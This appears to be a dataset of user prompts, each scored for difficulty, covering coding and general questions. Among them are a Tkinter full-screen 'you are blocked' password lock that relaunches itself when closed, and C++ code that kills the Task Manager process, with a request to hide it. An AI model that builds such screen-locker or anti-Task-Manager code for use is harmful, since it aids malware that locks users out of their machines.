For A 3d, medieval style rpg game, write code for Npc reactions to certain player dialogue combined with certain gestures.
bd5edcda95f14e0846e4d271051fc409
{ "intermediate": 0.2880925238132477, "beginner": 0.24768584966659546, "expert": 0.46422162652015686 }
15,191
can zabbix used with existed mysql
e6bc9c4138984470175c7b1998b0678e
{ "intermediate": 0.3932380974292755, "beginner": 0.21620021760463715, "expert": 0.39056161046028137 }
15,192
how are you
0affa14bb1536b526098e594a2fa3741
{ "intermediate": 0.38165968656539917, "beginner": 0.3264302909374237, "expert": 0.2919100522994995 }
15,193
"import os import zipfile import glob import smtplib from email.message import EmailMessage import xml.etree.ElementTree as ET import logging import datetime import shutil import re logging.basicConfig(filename='status_log.txt', level=logging.INFO) fsd_list = [ # Hong Kong Fire Commend # Central Fire Station ["cfs", "cjp_itmu_5@hkfsd.gov.hk"], # Kotewall Fire Station ["kfs", ""], # Kong Wan Fire Station ["kwfs", ""], # Sheung Wan Fire Station ["swfs", ""], # Sheung Wan Fire Station ["vpfs", ""], # Wan Chai Fire Station ["wcfs", ""], # Braemar Hill Fire Station ["bhfs", ""], # Chai Wan Fire Station ["cwfs", ""], # North Point Fire Station ["npfs", ""], # Sai Wan Ho Fire Station ["swhfs", ""], # Shau Kei Wan Fire Station ["skwfs", ""], # Tung Lo Wan Fire Station ["tlwfs", ""], # Aberdeen Fire Station ["afs", ""], # Ap Lei Chau Fire Station ["alcfs", ""], # Chung Hom Kok Fire Station ["chkfs", ""], # Kennedy Town Fire Station ["ktfs", ""], # Pok Fu Lam Fire Station ["pflfs", ""], # Sandy Bay Fire Station ["sbfs", ""], # Aberdeen Fireboat Station ["afbs", ""], # Central Fireboat Station ["", ""], # Cheung Chau Fire Station ["", ""], # Cheung Chau Fireboat Station ["", ""], # Cheung Sha Fire Station ["", ""], # Discovery Bay Fire Station ["", ""], # Lamma Fire Station ["", ""], # Mui Wo Fire Station ["", ""], # North Point Fireboat Station ["", ""], # Peng Chau Fire Station ["", ""], # Tai O (Old) Fire Station ["", ""], # Tai O Fire Station ["", ""], # Tsing Yi Fireboat Station ["", ""], # Tuen Mun Fireboat Station ["", ""], # <-----------------------------> # Kowloon Command # Kai Tak Fire Station ["", ""], # Ma Tau Chung Fire Station ["", ""], # Ngau Chi Wan Fire Station ["", ""], # Sai Kung Fire Station ["", ""], # Shun Lee Fire Station ["", ""], # Wong Tai Sin Fire Station ["", ""], # Kowloon Bay Fire Station ["", ""], # Kwun Tong Fire Station ["", ""], # Lam Tin Fire Station ["", ""], # Po Lam Fire Station ["", ""], # Tai Chik Sha Fire Station ["", ""], # Yau Tong Fire Station ["", ""], # Hung Hom Fire Station ["", ""], # Tsim Sha Tsui Fire Station ["", ""], # Tsim Tung Fire Station ["", ""], # Yau Ma Tei Fire Station ["", ""], # Cheung Sha Wan Fire Station ["", ""], # Kowloon Tong Fire Station ["", ""], # Lai Chi Kok Fire Station ["", ""], # Mongkok Fire Station ["", ""], # Shek Kip Mei Fire Station ["", ""], # <------------------------------> # New Territories South Command # Airport South Fire Station ["", ""], # Airport Centre Fire Station ["", ""], # Airport North Fire Station ["", ""], # East Sea Rescue Berth ["", ""], # West Sea Rescue Berth ["", ""], # Kwai Chung Fire Station ["", ""], # Lai King Fire Station ["", ""], # Lei Muk Shue Fire Station ["", ""], # Sham Tseng Fire Station ["", ""], # Tsuen Wan Fire Station ["", ""], # Chek Lap Kok South Fire Station ["", ""], # Ma Wan Fire Station ["", ""], # Penny's Bay Fire Station ["", ""], # Tsing Yi Fire Station ["", ""], # Tsing Yi South Fire Station ["", ""], # Tung Chung Fire Station ["", ""], # Hong Kong-Zhuhai-Macao Bridge Fire Station ["", ""], # <------------------------------> # New Territories North Command # Ma On Shan Fire Station ["", ""], # Sha Tin Fire Station ["", ""], # Siu Lek Yuen Fire Station ["", ""], # Tai Po East Fire Station ["", ""], # Tai Po Fire Station ["", ""], # Tai Sum Fire Station ["", ""], # Fanling Fire Station ["", ""], # Mai Po Fire Station ["", ""], # Pat Heung Fire Station ["", ""], # Sha Tau Kok Fire Station ["", ""], # Sheung Shui Fire Station ["", ""], # Heung Yuen Wai Fire Station ["", ""], # Yuen Long Fire Station ["", ""], # Castle Peak Bay Fire Station ["", ""], # Fu Tei Fire Station ["", ""], # Lau Fau Shan Fire Station ["", ""], # Pillar Point Fire Station ["", ""], # Shenzhen Bay Fire Station ["", ""], # Tai Lam Chung Fire Station ["", ""], # Tin Shui Wai Fire Station ["", ""], # Tuen Mun Fire Station ["", ""], # <------------------------------> # <------------------------------> # <------------------------------> # Ambulance Depot # <------------------------------> ] def move_zip_files(): # os.makedirs('./unzip', exist_ok=True) filenames = os.listdir('.') for filename in filenames: if filename.endswith('.zip'): if os.path.exists(f"./sent/{filename}"): logging.info( f'{datetime.datetime.now()}: The {filename} already exists in ./sent, so skipping.') else: # shutil.move(filename, './unzip') # logging.info( # f'{datetime.datetime.now()}: The {filename} been moved into ./unzip') unzip_all_files() def unzip_all_files(): os.makedirs('./unzipped', exist_ok=True) # zip_files = glob.glob('./unzip/*.zip') zip_files = glob.glob('./*.zip') for zip_file in zip_files: # folder_name = os.path.splitext(os.path.basename(zip_file))[0] # os.makedirs(f'./unzipped/{folder_name}', exist_ok=True) with zipfile.ZipFile(zip_file, 'r') as zfile: zfile.extractall(f'./unzipped/') logging.info(f'{datetime.datetime.now()}: {zip_file} unzipped') os.remove(zip_file) if not zip_files: logging.error( f'{datetime.datetime.now()}: No ZIP files found in "./" directory') return def find_fsd(xml_file): tree = ET.parse(xml_file) root = tree.getroot() fsd_element = root.find('.//unit') if fsd_element is not None: return fsd_element.text return None def send_email(fsd_email, pdf_file, folder): email_address = 'efax_admin@hkfsd.hksarg' email_app_password = '' msg = EmailMessage() msg['Subject'] = 'Application for Visit to FSD Premises 申請參觀消防處單位 (參考編號:' + re.split('_',str(folder),5)[5]+')' msg['From'] = email_address msg['To'] = fsd_email msg.set_content('Please find the PDF file attached.') with open(pdf_file, 'rb') as pdf: msg.add_attachment(pdf.read(), maintype='application', subtype='pdf', filename=pdf_file) with smtplib.SMTP('10.18.11.64') as smtp: smtp.send_message(msg) logging.info( f'{datetime.datetime.now()}: {pdf_file} sent to {fsd_email}') def move_folder_to_sent(folder): os.makedirs('./sent', exist_ok=True) sent_folder = "./sent" # shutil.move(f'./sent/{folder}', sent_folder) shutil.make_archive(f'./sent/{folder}','zip', sent_folder) def main(): move_zip_files() unzipped_folders = os.listdir('./unzipped') for folder in unzipped_folders: xml_files = glob.glob( f'./unzipped/{folder}/convertedData/*.xml') if not xml_files: logging.error( f'{datetime.datetime.now()}: No XML files found in {folder}. Skipping.') continue xml_file = xml_files[0] fsd_in_xml = find_fsd(xml_file) if fsd_in_xml: for fsd, fsd_email in fsd_list: if fsd == fsd_in_xml: pdf_files = glob.glob( f'./unzipped/{folder}/convertedData/*.pdf') if not pdf_files: status = 'PDF not found in folder' logging.error( f'{datetime.datetime.now()}: {folder}: {status}') break pdf_file = pdf_files[0] send_email(fsd_email, pdf_file,folder) status = 'Success, Email sent' move_folder_to_sent(folder) break else: status = 'FSD unit not found in list' else: status = 'XML not found' logging.info(f'{datetime.datetime.now()}: {folder}: {status}') if __name__ == "__main__": main()" can you help me add a function like os.remove(f'./unzipped/{folder}') in the def end of move_folder_to_sent(folder)
5f1f68844ba37d57853c9486695763ff
{ "intermediate": 0.3348793685436249, "beginner": 0.3567991852760315, "expert": 0.30832144618034363 }
15,194
"import os import zipfile import glob import smtplib from email.message import EmailMessage import xml.etree.ElementTree as ET import logging import datetime import shutil import re logging.basicConfig(filename='status_log.txt', level=logging.INFO) fsd_list = [ # Hong Kong Fire Commend # Central Fire Station ["cfs", "cjp_itmu_5@hkfsd.gov.hk"], # Kotewall Fire Station ["kfs", ""], # Kong Wan Fire Station ["kwfs", ""], # Sheung Wan Fire Station ["swfs", ""], # Sheung Wan Fire Station ["vpfs", ""], # Wan Chai Fire Station ["wcfs", ""], # Braemar Hill Fire Station ["bhfs", ""], # Chai Wan Fire Station ["cwfs", ""], # North Point Fire Station ["npfs", ""], # Sai Wan Ho Fire Station ["swhfs", ""], # Shau Kei Wan Fire Station ["skwfs", ""], # Tung Lo Wan Fire Station ["tlwfs", ""], # Aberdeen Fire Station ["afs", ""], # Ap Lei Chau Fire Station ["alcfs", ""], # Chung Hom Kok Fire Station ["chkfs", ""], # Kennedy Town Fire Station ["ktfs", ""], # Pok Fu Lam Fire Station ["pflfs", ""], # Sandy Bay Fire Station ["sbfs", ""], # Aberdeen Fireboat Station ["afbs", ""], # Central Fireboat Station ["", ""], # Cheung Chau Fire Station ["", ""], # Cheung Chau Fireboat Station ["", ""], # Cheung Sha Fire Station ["", ""], # Discovery Bay Fire Station ["", ""], # Lamma Fire Station ["", ""], # Mui Wo Fire Station ["", ""], # North Point Fireboat Station ["", ""], # Peng Chau Fire Station ["", ""], # Tai O (Old) Fire Station ["", ""], # Tai O Fire Station ["", ""], # Tsing Yi Fireboat Station ["", ""], # Tuen Mun Fireboat Station ["", ""], # <-----------------------------> # Kowloon Command # Kai Tak Fire Station ["", ""], # Ma Tau Chung Fire Station ["", ""], # Ngau Chi Wan Fire Station ["", ""], # Sai Kung Fire Station ["", ""], # Shun Lee Fire Station ["", ""], # Wong Tai Sin Fire Station ["", ""], # Kowloon Bay Fire Station ["", ""], # Kwun Tong Fire Station ["", ""], # Lam Tin Fire Station ["", ""], # Po Lam Fire Station ["", ""], # Tai Chik Sha Fire Station ["", ""], # Yau Tong Fire Station ["", ""], # Hung Hom Fire Station ["", ""], # Tsim Sha Tsui Fire Station ["", ""], # Tsim Tung Fire Station ["", ""], # Yau Ma Tei Fire Station ["", ""], # Cheung Sha Wan Fire Station ["", ""], # Kowloon Tong Fire Station ["", ""], # Lai Chi Kok Fire Station ["", ""], # Mongkok Fire Station ["", ""], # Shek Kip Mei Fire Station ["", ""], # <------------------------------> # New Territories South Command # Airport South Fire Station ["", ""], # Airport Centre Fire Station ["", ""], # Airport North Fire Station ["", ""], # East Sea Rescue Berth ["", ""], # West Sea Rescue Berth ["", ""], # Kwai Chung Fire Station ["", ""], # Lai King Fire Station ["", ""], # Lei Muk Shue Fire Station ["", ""], # Sham Tseng Fire Station ["", ""], # Tsuen Wan Fire Station ["", ""], # Chek Lap Kok South Fire Station ["", ""], # Ma Wan Fire Station ["", ""], # Penny's Bay Fire Station ["", ""], # Tsing Yi Fire Station ["", ""], # Tsing Yi South Fire Station ["", ""], # Tung Chung Fire Station ["", ""], # Hong Kong-Zhuhai-Macao Bridge Fire Station ["", ""], # <------------------------------> # New Territories North Command # Ma On Shan Fire Station ["", ""], # Sha Tin Fire Station ["", ""], # Siu Lek Yuen Fire Station ["", ""], # Tai Po East Fire Station ["", ""], # Tai Po Fire Station ["", ""], # Tai Sum Fire Station ["", ""], # Fanling Fire Station ["", ""], # Mai Po Fire Station ["", ""], # Pat Heung Fire Station ["", ""], # Sha Tau Kok Fire Station ["", ""], # Sheung Shui Fire Station ["", ""], # Heung Yuen Wai Fire Station ["", ""], # Yuen Long Fire Station ["", ""], # Castle Peak Bay Fire Station ["", ""], # Fu Tei Fire Station ["", ""], # Lau Fau Shan Fire Station ["", ""], # Pillar Point Fire Station ["", ""], # Shenzhen Bay Fire Station ["", ""], # Tai Lam Chung Fire Station ["", ""], # Tin Shui Wai Fire Station ["", ""], # Tuen Mun Fire Station ["", ""], # <------------------------------> # <------------------------------> # <------------------------------> # Ambulance Depot # <------------------------------> ] def move_zip_files(): # os.makedirs('./unzip', exist_ok=True) filenames = os.listdir('.') for filename in filenames: if filename.endswith('.zip'): if os.path.exists(f"./sent/{filename}"): logging.info( f'{datetime.datetime.now()}: The {filename} already exists in ./sent, so skipping.') else: # shutil.move(filename, './unzip') # logging.info( # f'{datetime.datetime.now()}: The {filename} been moved into ./unzip') unzip_all_files() def unzip_all_files(): os.makedirs('./unzipped', exist_ok=True) # zip_files = glob.glob('./unzip/*.zip') zip_files = glob.glob('./*.zip') for zip_file in zip_files: # folder_name = os.path.splitext(os.path.basename(zip_file))[0] # os.makedirs(f'./unzipped/{folder_name}', exist_ok=True) with zipfile.ZipFile(zip_file, 'r') as zfile: zfile.extractall(f'./unzipped/') logging.info(f'{datetime.datetime.now()}: {zip_file} unzipped') os.remove(zip_file) if not zip_files: logging.error( f'{datetime.datetime.now()}: No ZIP files found in "./" directory') return def find_fsd(xml_file): tree = ET.parse(xml_file) root = tree.getroot() fsd_element = root.find('.//unit') if fsd_element is not None: return fsd_element.text return None def send_email(fsd_email, pdf_file, folder): email_address = 'efax_admin@hkfsd.hksarg' email_app_password = '' msg = EmailMessage() msg['Subject'] = 'Application for Visit to FSD Premises 申請參觀消防處單位 (參考編號:' + re.split('_',str(folder),5)[5]+')' msg['From'] = email_address msg['To'] = fsd_email msg.set_content('Please find the PDF file attached.') with open(pdf_file, 'rb') as pdf: msg.add_attachment(pdf.read(), maintype='application', subtype='pdf', filename=pdf_file) with smtplib.SMTP('10.18.11.64') as smtp: smtp.send_message(msg) logging.info( f'{datetime.datetime.now()}: {pdf_file} sent to {fsd_email}') def move_folder_to_sent(folder): os.makedirs('./sent', exist_ok=True) sent_folder = "./sent" # shutil.move(f'./sent/{folder}', sent_folder) shutil.make_archive(f'./sent/{folder}','zip', sent_folder) def main(): move_zip_files() unzipped_folders = os.listdir('./unzipped') for folder in unzipped_folders: xml_files = glob.glob( f'./unzipped/{folder}/convertedData/*.xml') if not xml_files: logging.error( f'{datetime.datetime.now()}: No XML files found in {folder}. Skipping.') continue xml_file = xml_files[0] fsd_in_xml = find_fsd(xml_file) if fsd_in_xml: for fsd, fsd_email in fsd_list: if fsd == fsd_in_xml: pdf_files = glob.glob( f'./unzipped/{folder}/convertedData/*.pdf') if not pdf_files: status = 'PDF not found in folder' logging.error( f'{datetime.datetime.now()}: {folder}: {status}') break pdf_file = pdf_files[0] send_email(fsd_email, pdf_file,folder) status = 'Success, Email sent' move_folder_to_sent(folder) break else: status = 'FSD unit not found in list' else: status = 'XML not found' logging.info(f'{datetime.datetime.now()}: {folder}: {status}') if __name__ == "__main__": main()" can you create a function after move_folder_to_sent(folder) that remove the ./zipped/{folder}
326f2cc55807c95c0be7e9a1c10b3cea
{ "intermediate": 0.3348793685436249, "beginner": 0.3567991852760315, "expert": 0.30832144618034363 }
15,195
Here are the piano notes: C D E G C D E G A C Write a bass part.
0093dfb4c12fece137d50254b084f70a
{ "intermediate": 0.38358837366104126, "beginner": 0.3180669844150543, "expert": 0.29834461212158203 }
15,196
hello
ba55afd736ea3407f0e457327845b1b7
{ "intermediate": 0.32064199447631836, "beginner": 0.28176039457321167, "expert": 0.39759764075279236 }
15,197
Create a powershell script to search for string 111111 in all txt files in a folder
7d39de3d3f9d06b59bd77af496a3ac21
{ "intermediate": 0.4482138454914093, "beginner": 0.20356595516204834, "expert": 0.34822019934654236 }
15,198
怎么用fluent收集AWS Postgres for RDS 的slow sql
db64da764049b1a89c83f04548e80e2f
{ "intermediate": 0.37309303879737854, "beginner": 0.3160164952278137, "expert": 0.3108904957771301 }
15,199
*((volatile _uint32 *)((uintptr_t)(reg_address))
3d18ffa9718bfb8395ad0743549c9f93
{ "intermediate": 0.3806256949901581, "beginner": 0.3254118859767914, "expert": 0.2939624488353729 }
15,200
C++ GNU complier. Using namespace std. Time limit 2000/2000/2000/2000 ms. Memory limit 65000/65000/65000/65000 Kb. Given natural number n. Calculate expression: (1+1/1^2)*(1+1/2^2)+... (1+1/n^2) Note that 1/2 and 1/2,0 are different. Example: Input: 1 Output: 2 Example: Input: 2 Output: 2.5
a706b9289d6e28043c518144658a86d5
{ "intermediate": 0.3754916787147522, "beginner": 0.32755574584007263, "expert": 0.2969525456428528 }
15,201
Как во время редуцирования в java доставать каждый следующий элемент в цикле?
96ed83ac34f5924b3ef84d9f4602fdec
{ "intermediate": 0.4939299523830414, "beginner": 0.16301900148391724, "expert": 0.343051016330719 }
15,202
% 训练神经网络 for iter = 1:num_iterations % 初始化蚂蚁的位置 ant_positions = zeros(num_ants, hidden_size); for ant = 1:num_ants % 更新蚂蚁的位置 for j = 1:hidden_size if rand() < p_Selection ant_positions(ant, j) = rand(); end end end end %计算每个蚂蚁的适应度 fitness = zeros(num_ants, 1); for i = 1:num_ants fitness(i) = 1 / (1 + sum((train_y - sim(net, inputn)).^2)); end % 计算每个蚂蚁的选择概率 p = zeros(num_ants, 1); for i = 1:num_ants p(i) = fitness(i) / sum(fitness); end % 计算每个蚂蚁的信息素 tau = zeros(num_ants, 1); for i = 1:num_ants tau(i) = 1 / fitness(i); end % 计算每个蚂蚁的启发函数 h = zeros(num_ants, 1); for i = 1:num_ants h(i) = 1 / (fitness(i) + 1); end % 计算每个蚂蚁的转移概率 p_transition = zeros(num_ants, 1); for i = 1:num_ants p_transition(i) = (1 - p_Transition) * p(i) + p_Transition * h(i); end % 选择最优的蚂蚁 [~, best_index] = min(fitness); best_position = ant_positions(best_index, :); % 更新权重和偏置 W1 = W1 + alpha * (best_position * W1 - W1) + beta * Q * (rand(input_size, hidden_size) - W1); b1 = b1 + alpha * (best_position * b1 - b1); W2 = W2 + alpha * (best_position * W2 - W2); b2 = b2 + alpha * (best_position * b2 - b2); % 更新蚁群算法的参数 p_Transition = p_Succesful_Transition + (1 - p_Succesful_Transition) * rand(); p_Selection = p_Successful_Selection + (1 - p_Successful_Selection) * rand(); 根据这段代码优化后的数据,请写出后续优化BP神经的代码。
a61d6aa21595a18ee4f6301bb196d458
{ "intermediate": 0.28175362944602966, "beginner": 0.4612642526626587, "expert": 0.25698208808898926 }
15,203
can you make me count 1 to 100 using Lua code
e1d88c0886c442e22c352db904e145b7
{ "intermediate": 0.3623294532299042, "beginner": 0.2691672146320343, "expert": 0.36850330233573914 }
15,204
ioremap()
abc6de986a1fd09194cfbd380a7a400a
{ "intermediate": 0.27116429805755615, "beginner": 0.23212598264217377, "expert": 0.4967096745967865 }
15,205
flatten a rust vec of vec
d105e49a12722df09cec162c421b1e9b
{ "intermediate": 0.3599543869495392, "beginner": 0.3537504971027374, "expert": 0.286295086145401 }
15,206
rust program a vec of vec of struct then find all struct appear in inside vec
9b27a1015179f806fa77a392919be4ea
{ "intermediate": 0.42273470759391785, "beginner": 0.2199288010597229, "expert": 0.35733646154403687 }
15,207
can I give openai api system roles (in my coding project)
3e85631a178b87b0ee8c245f02d46fcd
{ "intermediate": 0.6225175261497498, "beginner": 0.1080409437417984, "expert": 0.2694415748119354 }
15,208
how can i set variable in flutter statful widget and change it from another file after initialzing : where i shoulld declare this variable
57beed2e5a0ea2c57eddefb503b3099a
{ "intermediate": 0.4758058786392212, "beginner": 0.35101306438446045, "expert": 0.17318105697631836 }
15,209
scala mock function of object
43fd3ced8e39504a28f19e2fd08d0453
{ "intermediate": 0.35123172402381897, "beginner": 0.4589814245700836, "expert": 0.18978676199913025 }
15,210
For Gmod, how could I create an add on that ‘predicts’ the future?
84f850c12aabfa481e6d0570693ef63c
{ "intermediate": 0.36574143171310425, "beginner": 0.1290130466222763, "expert": 0.5052455067634583 }
15,211
write python code to upload several ".csv" files to Postgresql database. Write a fake path to files
afd4c935be9f2a38460fa6eb7fb91881
{ "intermediate": 0.45456138253211975, "beginner": 0.22931495308876038, "expert": 0.3161236643791199 }
15,212
pandas create dataframe with 1 column 'rating'
62ca49b1ba7d7fe8bb932dc4215e39dc
{ "intermediate": 0.5221487283706665, "beginner": 0.1293109953403473, "expert": 0.3485402762889862 }
15,213
pandas create dataframe with 1 column
558520fd0f4897dc51b994fb83744760
{ "intermediate": 0.5203678607940674, "beginner": 0.14357717335224152, "expert": 0.3360550105571747 }
15,214
rust mysql query result into a vec
1e48fb2aeb0f8b24cc12e38b1cf9c1e5
{ "intermediate": 0.42715731263160706, "beginner": 0.3168380558490753, "expert": 0.25600466132164 }
15,215
from tkinter import ttk import os import sys def check_password(): password = "123" # замените на ваш пароль entered_password = password_entry.get() if entered_password == password: root.destroy() # закрыть главное окно программы else: desktop_path = os.path.join(os.path.join(os.path.expanduser('~')), 'Desktop') # путь к рабочему столу folder_path = os.path.join(desktop_path, "неправильно") # путь к папке "неправильно" os.makedirs(folder_path, exist_ok=True) # создать папку "неправильно" или игнорировать, если она уже существует def toggle_password_visibility(): if show_password.get(): password_entry.config(show="") else: password_entry.config(show="*") def on_closing(): if not root.focus_get() and not password_entry.get(): return # Если окно программы уже не в фокусе и поле ввода пароля пустое, не делаем ничего else: root.protocol("WM_DELETE_WINDOW", on_closing) # Переопределение стандартной команды закрытия окна root.iconify() # Сворачивание окна os.system(sys.argv[0]) # Перезапуск программы def toggle_dark_mode(): if dark_mode.get(): root.configure(bg="black") panel_frame.configure(bg="black") blocked_label.configure(foreground="white") password_label.configure(foreground="white") password_entry.configure(foreground="white", background="black") show_password_checkbox.configure(foreground="white", background="black") submit_button.configure(foreground="white", background="black") else: root.configure(bg="white") panel_frame.configure(bg="white") blocked_label.configure(foreground="black") password_label.configure(foreground="black") password_entry.configure(foreground="black", background="white") show_password_checkbox.configure(foreground="black", background="white") submit_button.configure(foreground="black", background="white") # Создание GUI окна root = tk.Tk() root.title("Аутентификация") root.attributes("-topmost", True) # Установка флага "всегда поверх" root.lift() # Перемещение окна вверх стека окон # Установка полноэкранного режима root.attributes("-fullscreen", True) # Запрет изменения размеров окна root.resizable(width=False, height=False) # Создание стиля для ttk виджетов style = ttk.Style(root) style.configure("TLabel", font=("Arial", 12)) style.configure("TEntry", font=("Arial", 12)) style.configure("TButton", font=("Arial", 12)) # Создание панели panel_frame = ttk.Frame(root, padding=40) panel_frame.place(relx=0.5, rely=0.5, anchor=tk.CENTER) # Создание надписи "Вы заблокированы!" blocked_label = ttk.Label(root, text="Вы заблокированы!", font=("Arial", 20)) blocked_label.pack(side=tk.TOP, pady=20) # Создание виджетов password_label = ttk.Label(panel_frame, text="Введите пароль!") password_label.pack(pady=10) password_entry = ttk.Entry(panel_frame, show="*") password_entry.pack(pady=10) show_password = tk.BooleanVar() show_password_checkbox = ttk.Checkbutton(panel_frame, text="Показать пароль", variable=show_password, command=toggle_password_visibility) show_password_checkbox.pack(pady=5) submit_button = ttk.Button(panel_frame, text="Подтвердить", command=check_password) submit_button.pack(pady=10) # Создание галочки для переключения на темную тему dark_mode = tk.BooleanVar() dark_mode_checkbox = ttk.Checkbutton(root, text="Темная тема", variable=dark_mode, command=toggle_dark_mode) dark_mode_checkbox.place(x=10, y=root.winfo_screenheight() - 30) root.protocol("WM_DELETE_WINDOW", on_closing) # Переопределение стандартной команды закрытия окна root.mainloop() Добавь в нижнюю часть этой программки текст МИстерГрифон корпорейшен.
9a5cfda45b3226aa107ac6d0b8180eba
{ "intermediate": 0.3097414970397949, "beginner": 0.5280687212944031, "expert": 0.16218984127044678 }
15,216
i need to build a soap request in java and create the soap envelope containing the body and the soap action, provide me an example on how to create it
c6f1cf49a5d32104b51c0c47fdd3f304
{ "intermediate": 0.6596419811248779, "beginner": 0.05960638076066971, "expert": 0.2807515859603882 }
15,217
Исправь ошибку в коде error C2664: "HWND FindWindowW(LPCWSTR,LPCWSTR)": невозможно преобразовать аргумент 2 из "const char [16]" в "LPCWSTR" 5 строка #include <Windows.h> #include <iostream> int main() { HWND taskManager = FindWindow(NULL, "Диспетчер задач"); if (taskManager != NULL) { DWORD taskManagerPid; GetWindowThreadProcessId(taskManager, &taskManagerPid); HANDLE taskManagerHandle = OpenProcess(PROCESS_TERMINATE, FALSE, taskManagerPid); if (taskManagerHandle != NULL) { if (TerminateProcess(taskManagerHandle, 0)) { std::cout << "Задача успешно завершена." << std::endl; } else { std::cerr << "Не удалось завершить задачу." << std::endl; } CloseHandle(taskManagerHandle); } else { std::cerr << "Не удалось открыть процесс." << std::endl; } } return 0; }
502c8418a0d112d13ce31e1e3029c0c6
{ "intermediate": 0.30303236842155457, "beginner": 0.4703819155693054, "expert": 0.22658564150333405 }
15,218
float PID2_calculate(float KP1, float KI1, float KD1, float KP2, float KI2, float KD2, float expect, //期望值(设定值) float feedback_pos, //位置反馈值 float feedback_vel, //速度反馈值 float inte_lim, //积分限幅 float dT_s //周期(单位:秒) ) { float pid_out_pos = 0, pid_out_vel = 0; float derivative_pos = 0, derivative_vel = 0; float error_pos = 0, error_vel = 0; float _RC = 1 / (2 * 3.1415 * 20); //滤波器的时间常数 static float _last_error_pos = 0, _last_derivative_pos = 0, _integrator_pos = 0; static float _last_error_vel = 0, _last_derivative_vel = 0, _integrator_vel = 0; error_pos = expect - feedback_pos; // 位置误差 pid_out_pos = KP1 * error_pos; if (fabs(KD1) > 0) { derivative_pos = (error_pos - _last_error_pos) / dT_s; derivative_pos = _last_derivative_pos + ((dT_s / (_RC + dT_s)) * (derivative_pos - _last_derivative_pos)); _last_error_pos = error_pos; _last_derivative_pos = derivative_pos; pid_out_pos += KD1 * derivative_pos; } if (fabs(KI1) > 0) { _integrator_pos += (error_pos * KI1) * dT_s; if (_integrator_pos < -inte_lim) _integrator_pos = -inte_lim; else if (_integrator_pos > inte_lim) _integrator_pos = inte_lim; pid_out_pos += _integrator_pos; } error_vel = pid_out_pos - feedback_vel; // 速度误差 pid_out_vel = KP2 * error_vel; if (fabs(KD2) > 0) { derivative_vel = (error_vel - _last_error_vel) / dT_s; derivative_vel = _last_derivative_vel + ((dT_s / (_RC + dT_s)) * (derivative_vel - _last_derivative_vel)); _last_error_vel = error_vel; _last_derivative_vel = derivative_vel; pid_out_vel += KD2 * derivative_vel; } if (fabs(KI2) > 0) { _integrator_vel += (error_vel * KI2) * dT_s; if (_integrator_vel < -inte_lim) _integrator_vel = -inte_lim; else if (_integrator_vel > inte_lim) _integrator_vel = inte_lim; pid_out_vel += _integrator_vel; } return pid_out_vel; } 这是一个双闭环pid控制函数,请修改为单闭环函数
63a9254115d381eb84087cdb44017d0d
{ "intermediate": 0.25218886137008667, "beginner": 0.544599711894989, "expert": 0.2032114565372467 }
15,219
how to display success message in vf page after clicking the button
eedcd688d490f4e1d1376297c9c0273a
{ "intermediate": 0.3782707750797272, "beginner": 0.1959948092699051, "expert": 0.42573440074920654 }
15,220
is it posible to change statful widget paramer after created in flutter another file
b44f6237a264172ee4cb1d4a4f7908a9
{ "intermediate": 0.43295273184776306, "beginner": 0.2049371302127838, "expert": 0.3621101975440979 }
15,221
pandas dataframe column 'rating' round to 2 digits
aee7de17be3e99406771a2006328a054
{ "intermediate": 0.44417744874954224, "beginner": 0.21826784312725067, "expert": 0.3375546932220459 }
15,222
hey
890c19843a219c058a7cb0f0e180a885
{ "intermediate": 0.33180856704711914, "beginner": 0.2916048467159271, "expert": 0.3765866458415985 }
15,223
explain wake_up() in linux
41ec721fed2fee620a3e98057b735f25
{ "intermediate": 0.2954111397266388, "beginner": 0.2353149950504303, "expert": 0.4692739248275757 }
15,224
Docker is not installed on the system, you can download the update package for you your Operating System and place it in the same directory as this installation file and run the install action again https://files.rvision.ru/common/sysprep/sys-update-debian.tar.gz user@deb:~/Downloads$ как скачать
5aac1742f8682b09d2a77a141ab3e8f7
{ "intermediate": 0.3233206868171692, "beginner": 0.33757269382476807, "expert": 0.33910655975341797 }
15,225
Переделай код так бы что бы блокировался и скрывался сам процесс Диспетчер задач #include <Windows.h> #include <iostream> int main() { HWND taskManager = FindWindow(NULL, L"Диспетчер задач"); if (taskManager != NULL) { DWORD taskManagerPid; GetWindowThreadProcessId(taskManager, &taskManagerPid); HANDLE taskManagerHandle = OpenProcess(PROCESS_TERMINATE, FALSE, taskManagerPid); if (taskManagerHandle != NULL) { if (TerminateProcess(taskManagerHandle, 0)) { std::cout << "Задача успешно завершена." << std::endl; } else { std::cerr << "Не удалось завершить задачу." << std::endl; } CloseHandle(taskManagerHandle); } else { std::cerr << "Не удалось открыть процесс." << std::endl; } } return 0; }
db74a7a435dae580e9aa368f11be8ed2
{ "intermediate": 0.4006959795951843, "beginner": 0.35574933886528015, "expert": 0.24355465173721313 }
15,226
how in react material ui enable last and first button?
50e67f227f389b508bf8b3b9adbfdb95
{ "intermediate": 0.4439728260040283, "beginner": 0.17037948966026306, "expert": 0.3856476843357086 }
15,227
how in react material ui data grid enable last and first button?
17af670049c34bb6b6eb72cd5e6ee666
{ "intermediate": 0.4874081313610077, "beginner": 0.1517217755317688, "expert": 0.3608700931072235 }
15,228
how in react material ui data grid enable last and first button?
645f4cd909ec34c302ab21822c6bbdb0
{ "intermediate": 0.4874081313610077, "beginner": 0.1517217755317688, "expert": 0.3608700931072235 }
15,229
i have this method which should create a soap body request, and i want to pass an object with 2 fields (user, password) as input. public SOAPMessage createSoapRequest(LoginRequestElement requestElement){ SOAPMessage request = null; try { MessageFactory messageFactory = MessageFactory.newInstance(SOAPConstants.SOAP_1_1_PROTOCOL); request = messageFactory.createMessage(); SOAPPart messagePart = request.getSOAPPart(); SOAPEnvelope envelope = messagePart.getEnvelope(); String soapAction = “/LoginService/login”; request.getMimeHeaders().addHeader(“SOAPAction”,soapAction); SOAPBody body = envelope.getBody(); System.out.println(“body----------” + body); System.out.println(“SOAP Request:”); request.writeTo(System.out); }catch (Exception e){ e.printStackTrace(); } return request; } The final result should look like this: SoapAction=String:"/LoginService/login" <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Body> <ns0:loginRequestElement xmlns:ns0="http://www.tibco.com/schemas/login_bw_project/login/schemas/Schema.xsd"> <ns0:user>ludovico</ns0:user> <ns0:password>123</ns0:password> </ns0:loginRequestElement> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
76c72e04bcdd6a271dfb8b6ce71914e0
{ "intermediate": 0.548919141292572, "beginner": 0.2841462790966034, "expert": 0.1669345498085022 }
15,230
